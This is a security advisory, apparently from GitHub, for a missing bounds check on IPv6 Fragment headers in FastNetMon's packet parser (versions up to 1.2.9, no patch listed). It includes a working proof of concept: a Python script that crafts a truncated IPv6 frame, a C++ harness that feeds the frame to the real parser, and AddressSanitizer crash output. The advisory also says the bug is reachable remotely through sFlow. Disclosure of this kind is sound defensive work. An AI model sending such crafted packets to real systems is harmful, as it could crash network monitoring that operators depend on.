Skip to content

IPv6 Fragment header dereferenced without bounds check in shared packet parser

High
pavel-odintsov published GHSA-jmjw-392h-4g93 Jul 20, 2026

Package

fastnetmon (Package)

Affected versions

<= 1.2.9

Patched versions

None

Description

Summary

FastNetMon's shared, otherwise well-hardened raw-packet parser dereferences an 8-byte IPv6 Fragment extension header struct with no bounds check - the one branch in the function missing the pattern used everywhere else. This parser is invoked directly by the sFlow UDP collector, so it's reachable remotely and unauthenticated with a single crafted packet, not just from local raw-capture.

Details

parse_raw_packet_to_simple_packet_full() (src/simple_packet_parser_ng.cpp:203-222):

if (protocol == IpProtocolNumberIPV6_FRAG) {
    const ipv6_extension_header_fragment_t* ipv6_extension_header_fragment =
        (const ipv6_extension_header_fragment_t*)local_pointer;    // <-- no bounds check here
    packet.ip_fragmented = true;
    packet.ip_more_fragments = ipv6_extension_header_fragment->get_more_fragments();          // reads OOB
    packet.ip_fragment_offset = ipv6_extension_header_fragment->get_fragment_offset_bytes();  // reads OOB

Every other header access in this function is preceded by if (local_pointer + sizeof(X) > end_pointer) return parser_code_t::memory_violation;. This one isn't.

PoC

Step 1 - craft the malicious frame (craft_ghsa05.py):

#!/usr/bin/env python3
import struct

dst_mac = b"\xaa" * 6
src_mac = b"\xbb" * 6
ethertype = struct.pack(">H", 0x86DD)  # IPv6
eth = dst_mac + src_mac + ethertype
assert len(eth) == 14

version_traffic_flow = struct.pack(">I", (6 << 28))   # version=6, traffic class=0, flow label=0
payload_length = struct.pack(">H", 0)
next_header = struct.pack(">B", 44)                    # Fragment extension header -- THE BUG TRIGGER
hop_limit = struct.pack(">B", 64)
src_addr = b"\x20\x01\x0d\xb8" + b"\x00" * 12
dst_addr = b"\x20\x01\x0d\xb8" + b"\x00" * 11 + b"\x01"

ipv6 = version_traffic_flow + payload_length + next_header + hop_limit + src_addr + dst_addr
assert len(ipv6) == 40

packet = eth + ipv6
assert len(packet) == 54
# No fragment-extension-header bytes at all -- the parser dereferences 8 bytes right at
# the tight heap buffer's end.
open("parserng_ghsa05_ipv6_frag_oob.bin", "wb").write(packet)
print(f"wrote parserng_ghsa05_ipv6_frag_oob.bin ({len(packet)} bytes)")

Step 2 - feed it to the real parser (harness_parser_ng.cpp, links directly against the unmodified shared parser code):

#include "simple_packet_parser_ng.hpp"
#include "all_logcpp_libraries.hpp"
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <fstream>
#include <vector>

log4cpp::Category& logger = log4cpp::Category::getRoot();

int main(int argc, char** argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s <frame-file>\n", argv[0]); return 1; }

    std::ifstream f(argv[1], std::ios::binary);
    std::vector<uint8_t> buf((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());

    uint8_t* heap_buf = new uint8_t[buf.size()];
    memcpy(heap_buf, buf.data(), buf.size());

    simple_packet_t packet;
    parser_options_t parser_options{};

    auto result = parse_raw_packet_to_simple_packet_full(heap_buf, (int)buf.size(), (int)buf.size(),
                                                            packet, parser_options);   // real production entrypoint

    fprintf(stderr, "parser result: %s\n", parser_code_to_string(result).c_str());
    delete[] heap_buf;
    fprintf(stderr, "OK: no crash, processed %zu bytes\n", buf.size());
    return 0;
}

Build (against FastNetMon's own simple_packet_parser_ng.cpp, compiled with -fsanitize=address,undefined) and run:

$ python3 craft_ghsa05.py
$ ./harness_parser_ng parserng_ghsa05_ipv6_frag_oob.bin

Result:

==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000000238
READ of size 2 at 0x606000000238 thread T0
    #0 ipv6_extension_header_fragment_t::get_more_fragments() const network_data_structures.hpp:934
    #1 parse_raw_packet_to_simple_packet_full(...) simple_packet_parser_ng.cpp:214

0x606000000238 is located 2 bytes to the right of 54-byte region [0x606000000200,0x606000000236)

Impact

Out-of-bounds read, reachable both from raw packet capture (netmap/AF_PACKET/AF_XDP) and - critically - remotely and unauthenticated via a single crafted sFlow v5 UDP packet, since the sFlow collector's RAW_PACKET_HEADER record handling calls this exact function with attacker-influenced parameters. This is what elevates the finding beyond a local-segment-only issue.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CVE ID

No known CVE

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits